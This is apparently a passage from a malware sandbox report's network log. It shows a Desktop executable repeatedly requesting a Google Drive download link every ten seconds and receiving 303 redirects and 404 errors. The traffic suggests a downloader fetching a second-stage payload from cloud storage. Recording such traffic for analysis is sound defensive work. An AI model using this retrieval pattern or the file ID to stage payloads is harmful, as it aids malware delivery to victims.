2024-12-05 16:04:30 UTC	418	OUT	GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
2024-12-05 16:04:31 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 16:04:31 GMT Location: https://drive.usercontent.google.com/download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-nvLkqm4aFAYZkj8kv9zNDQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.11.20	49768	142.250.64.193	443	5216	C:\Users\user\Desktop\fbXZ4ErQMU.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 16:04:31 UTC	460	OUT	GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
2024-12-05 16:04:31 UTC	1854	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 16:04:31 GMT Content-Security-Policy: script-src 'nonce-PalheP376nsrsJ1wdhzABQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 X-GUploader-UploadID: AFiumC5wr8Hr-ERYLSKXTQ39aHOvNGQ0UBQg06ByK_MSl9LnSPk7ejRANmOmy9cNXK0zp6kBJ0pgLdl_EA Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-05 16:04:31 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 47 52 47 39 32 39 7a 4e 48 78 2d 56 5a 4a 6f 36 44 72 66 69 63 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="GRG929zNHx-VZJo6DrficA">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.11.20	49769	142.250.217.238	443	5216	C:\Users\user\Desktop\fbXZ4ErQMU.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 16:04:42 UTC	418	OUT	GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
2024-12-05 16:04:42 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 16:04:42 GMT Location: https://drive.usercontent.google.com/download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'nonce--kFV5FRUscQcDaQAf4WyuQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.11.20	49770	142.250.64.193	443	5216	C:\Users\user\Desktop\fbXZ4ErQMU.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 16:04:42 UTC	460	OUT	GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
2024-12-05 16:04:43 UTC	1854	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 16:04:42 GMT Content-Security-Policy: script-src 'nonce-dBEiWtpriMk1vP6-CSsLsg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 X-GUploader-UploadID: AFiumC5djuB6u451xkPbseAL2Fw74gu2-sYdnhC3ouDL0RL73a4EhlUSBQc4f1IESZpCPmNqgEciUnQ0ng Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-05 16:04:43 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 35 59 57 39 41 35 42 79 54 38 34 54 67 70 36 6a 54 50 6e 37 53 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="5YW9A5ByT84Tgp6jTPn7Sg">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.11.20	49771	142.250.217.238	443	5216	C:\Users\user\Desktop\fbXZ4ErQMU.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 16:04:53 UTC	418	OUT	GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
2024-12-05 16:04:53 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 16:04:53 GMT Location: https://drive.usercontent.google.com/download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-2N9DTjIyVkWo4GR7RD4uew' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.11.20	49772	142.250.64.193	443	5216	C:\Users\user\Desktop\fbXZ4ErQMU.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 16:04:53 UTC	460	OUT	GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
2024-12-05 16:04:54 UTC	1854	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 16:04:54 GMT Content-Security-Policy: script-src 'nonce-ZWCLr7XKLGW4va_yB5twHA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 X-GUploader-UploadID: AFiumC5Z-QIukitg_Etj8K5EQRQqD8Py4uWAIGJ7iazhkSELJ7OndcfAmYvMrF6O2vOSc8wYf16Lg0Xpqg Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-05 16:04:54 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 75 31 50 6c 62 6d 2d 53 4d 74 74 66 6f 6d 45 4f 59 33 4a 49 72 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="u1Plbm-SMttfomEOY3JIrQ">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.11.20	49773	142.250.217.238	443	5216	C:\Users\user\Desktop\fbXZ4ErQMU.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 16:05:04 UTC	418	OUT	GET /uc?export=download&id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
2024-12-05 16:05:04 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 16:05:04 GMT Location: https://drive.usercontent.google.com/download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'nonce--B-NqRJw0DlRquRhX8j98A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.11.20	49774	142.250.64.193	443	5216	C:\Users\user\Desktop\fbXZ4ErQMU.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 16:05:05 UTC	460	OUT	GET /download?id=1K_jGM8Q1zFs0po9MoqZxARRutfXGyjys&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=JugqJU5yFP1lwq41sTGCQ9zOSPUwOT2nu1GDZSbQhSaviO2-8QcQ3btO7Q6OhoSZR6wckC5tU-8YKCDAYGgFr7Zfb4pBxms0vOn_wFtIsaNlyZnAD8irKgsX3OY7M8e0ws4mqt6xgWcFg3KsZeysJoctEdId5NarXCR1Ti2PH1NWHGPVu2blWAIF
2024-12-05 16:05:05 UTC	1854	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 16:05:05 GMT Content-Security-Policy: script-src 'nonce-mXI6D9fuzwTjOamT_f25Mw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 X-GUploader-UploadID: AFiumC5ha9xwpAGxrF9AObB47bH3WAIOg5Dd4kjUqHgAI8dpB3bPp8hJh8_xpLuWp-VySRfzavYgkXhgxg Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-05 16:05:05 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6a 4e 44 79 32 78 30 45 57 43 4e 45 4e 59 4c 64 65 6e 39 33 47 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="jNDy2x0EWCNENYLden93GQ">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.11.20	49775	142.250.217.238	443	5216	C:\Users\user\Desktop\fbXZ4ErQMU.exe

Timestamp	Bytes transferred	Direction	Data
